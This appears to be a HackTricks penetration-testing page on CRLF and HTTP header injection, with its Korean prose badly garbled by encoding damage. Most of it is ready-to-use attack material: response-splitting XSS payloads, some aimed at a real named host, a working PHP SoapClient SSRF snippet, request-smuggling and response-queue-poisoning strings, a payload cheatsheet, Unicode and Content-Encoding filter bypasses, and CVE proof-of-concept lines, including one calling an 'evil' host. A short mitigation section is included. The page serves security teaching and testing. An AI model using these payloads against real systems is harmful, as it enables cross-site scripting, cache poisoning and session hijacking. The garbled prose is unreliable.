CRLF (%0D%0A) Injection
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
CRLF
μΊλ¦¬μ§ 리ν΄(CR)κ³Ό λΌμΈ νΌλ(LF)λ ν¨κ» CRLFλ‘ μλ €μ Έ μμΌλ©°, HTTP νλ‘ν μ½μμ μ€μ λμ΄λ μλ‘μ΄ μ€μ μμμ λνλ΄κΈ° μν΄ μ¬μ©λλ νΉμ λ¬Έμ μνμ€μ λλ€. μΉ μλ²μ λΈλΌμ°μ λ HTTP ν€λμ μλ΅ λ³Έλ¬Έμ ꡬλΆνκΈ° μν΄ CRLFλ₯Ό μ¬μ©ν©λλ€. μ΄λ¬ν λ¬Έμλ Apache λ° Microsoft IISμ κ°μ λ€μν μΉ μλ² μ νμμ HTTP/1.1 ν΅μ μ 보νΈμ μΌλ‘ μ¬μ©λ©λλ€.
CRLF Injection Vulnerability
CRLF μΈμ μ μ μ¬μ©μ μ 곡 μ λ ₯μ CR λ° LF λ¬Έμλ₯Ό μ½μ νλ κ²μ ν¬ν¨ν©λλ€. μ΄ μμ μ μλ², μ ν리μΌμ΄μ λλ μ¬μ©μκ° μ½μ λ μνμ€λ₯Ό νλμ μλ΅μ λκ³Ό λ€λ₯Έ μλ΅μ μμμΌλ‘ ν΄μνλλ‘ μ€λν©λλ€. μ΄λ¬ν λ¬Έμλ λ³Έμ§μ μΌλ‘ ν΄λ‘μ§ μμ§λ§, μλͺ» μ¬μ©λ κ²½μ° HTTP μλ΅ λΆν λ° κΈ°ν μ μμ μΈ νλμΌλ‘ μ΄μ΄μ§ μ μμ΅λλ€.
Example: CRLF Injection in a Log File
κ΄λ¦¬ ν¨λμ λ‘κ·Έ νμΌμ΄ IP - Time - Visited Path νμμ λ°λ₯΄λ κ²½μ°λ₯Ό κ³ λ €ν΄ λ³΄μμμ€. μΌλ°μ μΈ νλͺ©μ λ€μκ³Ό κ°μ μ μμ΅λλ€:
123.123.123.123 - 08:15 - /index.php?page=home
곡격μλ CRLF μ£Όμ μ μ΄μ©νμ¬ μ΄ λ‘κ·Έλ₯Ό μ‘°μν μ μμ΅λλ€. HTTP μμ²μ CRLF λ¬Έμλ₯Ό μ£Όμ ν¨μΌλ‘μ¨, 곡격μλ μΆλ ₯ μ€νΈλ¦Όμ λ³κ²½νκ³ λ‘κ·Έ νλͺ©μ μ‘°μν μ μμ΅λλ€. μλ₯Ό λ€μ΄, μ£Όμ λ μνμ€λ λ‘κ·Έ νλͺ©μ λ€μκ³Ό κ°μ΄ λ³νμν¬ μ μμ΅λλ€:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
μ¬κΈ°μ %0dμ %0aλ CRκ³Ό LFμ URL μΈμ½λ© ννλ₯Ό λνλ
λλ€. 곡격 ν, λ‘κ·Έλ μλͺ»λ λ°©μμΌλ‘ νμλ κ²μ
λλ€:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
곡격μλ localhost(μλ² νκ²½ λ΄μμ μΌλ°μ μΌλ‘ μ λ’°λλ μν°ν°)κ° μμ
μ μνν κ²μ²λΌ 보μ΄κ² νμ¬ μ
μμ μΈ νλμ μ¨κΉλλ€. μλ²λ %0d%0aλ‘ μμνλ 쿼리μ μΌλΆλ₯Ό λ¨μΌ λ§€κ°λ³μλ‘ ν΄μνκ³ , restrictedaction λ§€κ°λ³μλ λ³λμ μ
λ ₯μΌλ‘ νμ±λ©λλ€. μ‘°μλ 쿼리λ ν©λ²μ μΈ κ΄λ¦¬ λͺ
λ Ήμ ν¨κ³Όμ μΌλ‘ λͺ¨λ°©ν©λλ€: /index.php?page=home&restrictedaction=edit
HTTP Response Splitting
μ€λͺ
HTTP Response Splittingμ 곡격μκ° HTTP μλ΅μ ꡬ쑰λ₯Ό μ μ©ν λ λ°μνλ 보μ μ·¨μ½μ μ λλ€. μ΄ κ΅¬μ‘°λ νΉμ λ¬Έμ μνμ€μΈ Carriage Return (CR)κ³Ό Line Feed (LF)λ₯Ό μ¬μ©νμ¬ ν€λμ λ³Έλ¬Έμ ꡬλΆνλ©°, μ΄λ₯Ό μ΄μΉνμ¬ CRLFλΌκ³ ν©λλ€. 곡격μκ° μλ΅ ν€λμ CRLF μνμ€λ₯Ό μ½μ νλ λ° μ±κ³΅νλ©΄, μ΄νμ μλ΅ λ΄μ©μ ν¨κ³Όμ μΌλ‘ μ‘°μν μ μμ΅λλ€. μ΄λ¬ν μ νμ μ‘°μμ μ¬κ°ν 보μ λ¬Έμ , νΉν Cross-site Scripting (XSS)μΌλ‘ μ΄μ΄μ§ μ μμ΅λλ€.
HTTP Response Splittingμ ν΅ν XSS
- μ ν리μΌμ΄μ
μ λ€μκ³Ό κ°μ μ¬μ©μ μ μ ν€λλ₯Ό μ€μ ν©λλ€:
X-Custom-Header: UserInput - μ ν리μΌμ΄μ
μ 쿼리 λ§€κ°λ³μμμ
UserInputμ κ°μ κ°μ Έμ΅λλ€. μλ₯Ό λ€μ΄ βuser_inputβμ λλ€. μ μ ν μ λ ₯ κ²μ¦ λ° μΈμ½λ©μ΄ μλ μλ리μ€μμ 곡격μλ CRLF μνμ€μ μ μμ μΈ λ΄μ©μ ν¬ν¨νλ νμ΄λ‘λλ₯Ό λ§λ€ μ μμ΅λλ€. - 곡격μλ νΉλ³ν μ‘°μλ βuser_inputβμ κ°μ§ URLμ λ§λλλ€:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- μ΄ URLμμ
%0d%0a%0d%0aλ CRLFCRLFμ URL μΈμ½λ©λ ννμ λλ€. μ΄λ μλ²λ₯Ό μμ¬ CRLF μνμ€λ₯Ό μ½μ νκ² νμ¬ μλ²κ° μ΄ν λΆλΆμ μλ΅ λ³Έλ¬ΈμΌλ‘ μ²λ¦¬νκ² λ§λλλ€.
- μλ²λ 곡격μμ μ λ ₯μ μλ΅ ν€λμ λ°μνμ¬ μ μμ μΈ μ€ν¬λ¦½νΈκ° μλ΅ λ³Έλ¬Έμ μΌλΆλ‘ λΈλΌμ°μ μ μν΄ ν΄μλλ μλμΉ μμ μλ΅ κ΅¬μ‘°λ₯Ό μ΄λν©λλ€.
리λλ μ μΌλ‘ μ΄μ΄μ§λ HTTP Response Splittingμ μ
Browser to:
/%0d%0aLocation:%20http://myweb.com
μλ²λ λ€μκ³Ό κ°μ ν€λλ‘ μλ΅ν©λλ€:
Location: http://myweb.com
λ€λ₯Έ μ: (μΆμ² https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
In URL Path
URL κ²½λ‘ λ΄λΆμ νμ΄λ‘λλ₯Ό μ μ‘νμ¬ μλ²μ μλ΅μ μ μ΄ν μ μμ΅λλ€ (μμλ μ¬κΈ°μμ νμΈν μ μμ΅λλ€):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Check more examples in:
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
HTTP Header Injection
HTTP Header Injectionμ CRLF (Carriage Return and Line Feed) μ£Όμ μ ν΅ν΄ μμ£Ό μ μ©λλ©°, 곡격μκ° HTTP ν€λλ₯Ό μ½μ ν μ μκ² ν©λλ€. μ΄λ XSS (Cross-Site Scripting) νν°λ SOP (Same-Origin Policy)μ κ°μ 보μ λ©μ»€λμ¦μ 무λ ₯νν μ μμΌλ©°, CSRF ν ν°κ³Ό κ°μ λ―Όκ°ν λ°μ΄ν°μ λν λ¬΄λ¨ μ κ·Όμ΄λ μΏ ν€ μ½μ μ ν΅ν μ¬μ©μ μΈμ μ‘°μμΌλ‘ μ΄μ΄μ§ μ μμ΅λλ€.
Exploiting CORS via HTTP Header Injection
곡격μλ HTTP ν€λλ₯Ό μ£Όμ νμ¬ CORS (Cross-Origin Resource Sharing)λ₯Ό νμ±ννκ³ , SOPμ μν΄ λΆκ³Όλ μ νμ μ°νν μ μμ΅λλ€. μ΄ μΉ¨ν΄λ μ μμ μΈ μΆμ²μ μ€ν¬λ¦½νΈκ° λ€λ₯Έ μΆμ²μ 리μμ€μ μνΈμμ©ν μ μκ² νμ¬, 보νΈλ λ°μ΄ν°μ μ κ·Όν μ μλ κ°λ₯μ±μ μ 곡ν©λλ€.
SSRF and HTTP Request Injection via CRLF
CRLF μ£Όμ
μ μμ ν μλ‘μ΄ HTTP μμ²μ μμ±νκ³ μ£Όμ
νλ λ° νμ©λ μ μμ΅λλ€. μ΄μ μ£Όλͺ©ν λ§ν μλ PHPμ SoapClient ν΄λμ€μ μ·¨μ½μ μΌλ‘, νΉν user_agent λ§€κ°λ³μ λ΄μμ λ°μν©λλ€. μ΄ λ§€κ°λ³μλ₯Ό μ‘°μν¨μΌλ‘μ¨ κ³΅κ²©μλ μΆκ° ν€λμ λ³Έλ¬Έ λ΄μ©μ μ½μ
νκ±°λ, μ¬μ§μ΄ μμ ν μλ‘μ΄ HTTP μμ²μ μ£Όμ
ν μ μμ΅λλ€. μλλ μ΄ μ
μ©μ 보μ¬μ£Όλ PHP μμ μ
λλ€:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Header Injection to Request Smuggling
μ΄ κΈ°μ κ³Ό μ μ¬μ μΈ λ¬Έμ μ λν μμΈν λ΄μ©μ μλ³Έ μμ€ νμΈμ μ°Έμ‘°νμΈμ.
νμ ν€λλ₯Ό μ£Όμ νμ¬ λ°±μλκ° μ΄κΈ° μμ²μ μλ΅ν ν μ°κ²°μ μ μ§νλλ‘ ν μ μμ΅λλ€:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
μ΄ν λ λ²μ§Έ μμ²μ μ§μ ν μ μμ΅λλ€. μ΄ μλ리μ€λ μΌλ°μ μΌλ‘ HTTP request smugglingκ³Ό κ΄λ ¨μ΄ μμΌλ©°, μ΄λ μλ²κ° μ£Όμ ν μΆκ°ν ν€λλ λ³Έλ¬Έ μμκ° λ€μν 보μ μ·¨μ½μ μ μ΄λν μ μλ κΈ°μ μ λλ€.
μ μ©:
- μ μμ μΈ μ λμ¬ μ£Όμ : μ΄ λ°©λ²μ μ μμ μΈ μ λμ¬λ₯Ό μ§μ νμ¬ λ€μ μ¬μ©μμ μμ²μ΄λ μΉ μΊμλ₯Ό μ€μΌμν€λ κ²μ λλ€. μ΄μ μλ λ€μκ³Ό κ°μ΅λλ€:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- μλ΅ ν μ€μΌμ μν μ λμ¬ λ§λ€κΈ°: μ΄ μ κ·Όλ²μ νν μ°λ κΈ°μ κ²°ν©λ λ μμ ν λ λ²μ§Έ μμ²μ νμ±νλ μ λμ¬λ₯Ό λ§λλ κ²μ λλ€. μ΄λ μλ΅ ν μ€μΌμ μ λ°ν μ μμ΅λλ€. μμλ λ€μκ³Ό κ°μ΅λλ€:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache μ£Όμ
Memcacheλ λͺ νν ν μ€νΈ νλ‘ν μ½μ μ¬μ©νλ ν€-κ° μ μ₯μμ λλ€. μμΈν λ΄μ©μ λ€μμ μ°Έμ‘°νμμμ€:
μ 체 μ 보λ μλ³Έ μμ±λ¬Ό μ μ½μ΄λ³΄μμμ€.
νλ«νΌμ΄ HTTP μμ²μμ λ°μ΄ν°λ₯Ό κ°μ Έμ μ΄λ₯Ό μ ννμ§ μκ³ memcache μλ²μ μμ²μ μννλ κ²½μ°, 곡격μλ μ΄ λμμ μ μ©νμ¬ μλ‘μ΄ memcache λͺ λ Ήμ μ£Όμ ν μ μμ΅λλ€.
μλ₯Ό λ€μ΄, μλ λ°κ²¬λ μ·¨μ½μ μμλ μΊμ ν€κ° μ¬μ©μμ μ°κ²° IPμ ν¬νΈλ₯Ό λ°ννλ λ° μ¬μ©λμμΌλ©°, 곡격μλ memcache λͺ λ Ήμ μ£Όμ νμ¬ μΊμλ₯Ό μ€μΌμμΌ νΌν΄μμ μΈλΆμ 보(μ¬μ©μ μ΄λ¦ λ° λΉλ°λ²νΈ ν¬ν¨)λ₯Ό 곡격μ μλ²λ‘ μ μ‘ν μ μμμ΅λλ€:
.png)
λν, μ°κ΅¬μλ€μ 곡격μκ° μμ§ λͺ»νλ μ¬μ©μμ μ΄λ©μΌλ‘ 곡격μμ IPμ ν¬νΈλ₯Ό μ μ‘νκΈ° μν΄ memcache μλ΅μ λΉλκΈ°νν μ μλ€λ κ²μ λ°κ²¬νμ΅λλ€:
.png)
μΉ μ ν리μΌμ΄μ μμ CRLF / HTTP ν€λ μ£Όμ λ°©μ§ λ°©λ²
μΉ μ ν리μΌμ΄μ μμ CRLF(μΊλ¦¬μ§ λ¦¬ν΄ λ° λΌμΈ νΌλ) λλ HTTP ν€λ μ£Όμ μ μνμ μννκΈ° μν΄ λ€μ μ λ΅μ΄ κΆμ₯λ©λλ€:
- μλ΅ ν€λμ μ§μ μ¬μ©μ μ λ ₯ νΌνκΈ°: κ°μ₯ μμ ν μ κ·Όλ²μ μ¬μ©μ μ 곡 μ λ ₯μ μλ΅ ν€λμ μ§μ ν¬ν¨νμ§ μλ κ²μ λλ€.
- νΉμ λ¬Έμ μΈμ½λ©: μ§μ μ¬μ©μ μ λ ₯μ νΌν μ μλ κ²½μ°, CR(μΊλ¦¬μ§ 리ν΄) λ° LF(λΌμΈ νΌλ)μ κ°μ νΉμ λ¬Έμλ₯Ό μΈμ½λ©νλ μ μ© ν¨μλ₯Ό μ¬μ©ν΄μΌ ν©λλ€. μ΄ κ΄νμ CRLF μ£Όμ κ°λ₯μ±μ λ°©μ§ν©λλ€.
- νλ‘κ·Έλλ° μΈμ΄ μ λ°μ΄νΈ: μΉ μ ν리μΌμ΄μ μμ μ¬μ©νλ νλ‘κ·Έλλ° μΈμ΄λ₯Ό μ κΈ°μ μΌλ‘ μ΅μ λ²μ μΌλ‘ μ λ°μ΄νΈνμμμ€. HTTP ν€λλ₯Ό μ€μ νλ ν¨μ λ΄μμ CR λ° LF λ¬Έμμ μ£Όμ μ λ³Έμ§μ μΌλ‘ νμ©νμ§ μλ λ²μ μ μ ννμμμ€.
CHEATSHEET
μ¬κΈ°μμ μΉνΈμνΈλ₯Ό νμΈνμΈμ
1. HTTP Response Splitting
β’ /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
β’ //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
β’ /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
β’ /google.com/%2F..%0D%0AHeader-Test:test2
β’ /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
β’ /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
β’ /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
β’ %E5%98%8A = %0A = \u560a
β’ %E5%98%8D = %0D = \u560d
β’ %E5%98%BE = %3E = \u563e (>)
β’ %E5%98%BC = %3C = \u563c (<)
β’ Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
μ΅κ·Ό μ·¨μ½μ (2023 β 2025)
μ§λ λͺ λ λμ λ리 μ¬μ©λλ μλ² λ° ν΄λΌμ΄μΈνΈ μΈ‘ κ΅¬μ± μμμμ μ¬λ¬ κ³ μν CRLF/HTTP ν€λ μ£Όμ λ²κ·Έκ° λ°μνμ΅λλ€. μ΄λ₯Ό λ‘컬μμ μ¬ννκ³ μ°κ΅¬νλ κ²μ μ€μ μΈκ³μ μ μ© ν¨ν΄μ μ΄ν΄νλ λ° νλ₯ν λ°©λ²μ λλ€.
| μ°λ | κ΅¬μ± μμ | CVE / κΆκ³ | κ·Όλ³Έ μμΈ | PoC νμ΄λΌμ΄νΈ |
|---|---|---|---|---|
| 2024 | RestSharp (β₯110.0.0 <110.2.0) | CVE-2024-45302 | AddHeader() ν¬νΌκ° CR/LFλ₯Ό μ 리νμ§ μμ RestSharpκ° λ°±μλ μλΉμ€ λ΄μμ HTTP ν΄λΌμ΄μΈνΈλ‘ μ¬μ©λ λ μ¬λ¬ μμ² ν€λλ₯Ό ꡬμ±ν μ μκ² νμ΅λλ€. λ€μ΄μ€νΈλ¦Ό μμ€ν
μ SSRF λλ μμ² λ°λ°μ
μΌλ‘ κ°μ λ μ μμ΅λλ€. | client.AddHeader("X-Foo","bar%0d%0aHost:evil") |
| 2024 | Refit (β€ 7.2.101) | CVE-2024-51501 | μΈν°νμ΄μ€ λ©μλμ ν€λ μμ±μ΄ μμ²μ κ·Έλλ‘ λ³΅μ¬λμμ΅λλ€. %0d%0aλ₯Ό μ½μ
ν¨μΌλ‘μ¨ κ³΅κ²©μλ Refitμ΄ μλ² μΈ‘ μμ
μΌλ‘ μ¬μ©λ λ μμμ ν€λ λλ λ λ²μ§Έ μμ²μ μΆκ°ν μ μμμ΅λλ€. | [Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")] |
| 2023 | Apache APISIX λμ보λ | GHSA-4h3j-f5x9-r6x3 | μ¬μ©μ μ 곡 redirect λ§€κ°λ³μκ° μΈμ½λ© μμ΄ Location: ν€λμ μμ½λμ΄ μ΄λ € μλ 리λλ μ
+ μΊμ μ€μΌμ κ°λ₯νκ² νμ΅λλ€. | /login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script> |
μ΄λ¬ν λ²κ·Έλ μ ν리μΌμ΄μ μμ€ μ½λ λ΄μμ λ°μνλ―λ‘ μ€μν©λλ€. HTTP μμ²μ μννκ±°λ μλ΅ ν€λλ₯Ό μ€μ νλ λ΄λΆ κ΅¬μ± μμλ λ°λμ CR/LF νν°λ§μ μνν΄μΌ ν©λλ€.
κ³ κΈ μ λμ½λ / μ μ΄ λ¬Έμ μ°ν
νλ WAF/리λΌμ΄ν° μ€νμ μ’
μ’
리ν°λ΄ \r/\nμ μ κ±°νμ§λ§, λ§μ λ°±μλκ° μ€ λμΌλ‘ μ²λ¦¬νλ λ€λ₯Έ λ¬Έμλ₯Ό μμ΄λ²λ¦½λλ€. CRLFκ° νν°λ§λ λ μλν΄ λ³΄μμμ€:
%E2%80%A8(U+2028β μ€ κ΅¬λΆμ)%E2%80%A9(U+2029β λ¨λ½ ꡬλΆμ)%C2%85(U+0085β λ€μ μ€)
μΌλΆ Java, Python λ° Go νλ μμν¬λ ν€λ νμ± μ€μ μ΄λ₯Ό \nμΌλ‘ λ³νν©λλ€ (2023 Praetorian μ°κ΅¬ μ°Έμ‘°). μ΄λ₯Ό κ³ μ μ μΈ νμ΄λ‘λμ κ²°ν©νμμμ€:
/%0A%E2%80%A8Set-Cookie:%20admin=true
νν°κ° λ¨Όμ UTF-8μ μ κ·ννλ©΄ μ μ΄ λ¬Έμκ° μΌλ° μ€ λ°κΏμΌλ‘ λ³νλκ³ μ£Όμ λ ν€λκ° μμ©λ©λλ€.
μ€λ³΅ Content-Encoding νΈλ¦μ ν΅ν WAF μ°ν (2023)
Praetorian μ°κ΅¬μλ€μ λν λ€μμ μ£Όμ ν¨μΌλ‘μ¨:
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the applicationβs own content is inert. Because Content-Encoding: identityλ RFC 9110μ μν΄ νμ©λλ―λ‘, λ§μ 리λ²μ€ νλ‘μκ° μ΄λ₯Ό λ³κ²½νμ§ μκ³ μ λ¬ν©λλ€.
Automatic Tools
- CRLFsuite β Goλ‘ μμ±λ λΉ λ₯Έ λ₯λ μ€μΊλμ λλ€.
- crlfuzz β μ λμ½λ κ°ν νμ΄λ‘λλ₯Ό μ§μνλ λ¨μ΄ λͺ©λ‘ κΈ°λ° νΌμ μ λλ€.
- crlfix β Go νλ‘κ·Έλ¨μμ μμ±λ HTTP μμ²μ ν¨μΉνλ 2024 μ νΈλ¦¬ν°λ‘, λ΄λΆ μλΉμ€λ₯Ό ν μ€νΈνκΈ° μν΄ λ 립μ μΌλ‘ μ¬μ©ν μ μμ΅λλ€.
Brute-Force Detection List
References
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
- https://nvd.nist.gov/vuln/detail/CVE-2024-45302
- https://security.praetorian.com/blog/2023-unicode-newlines-bypass/
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


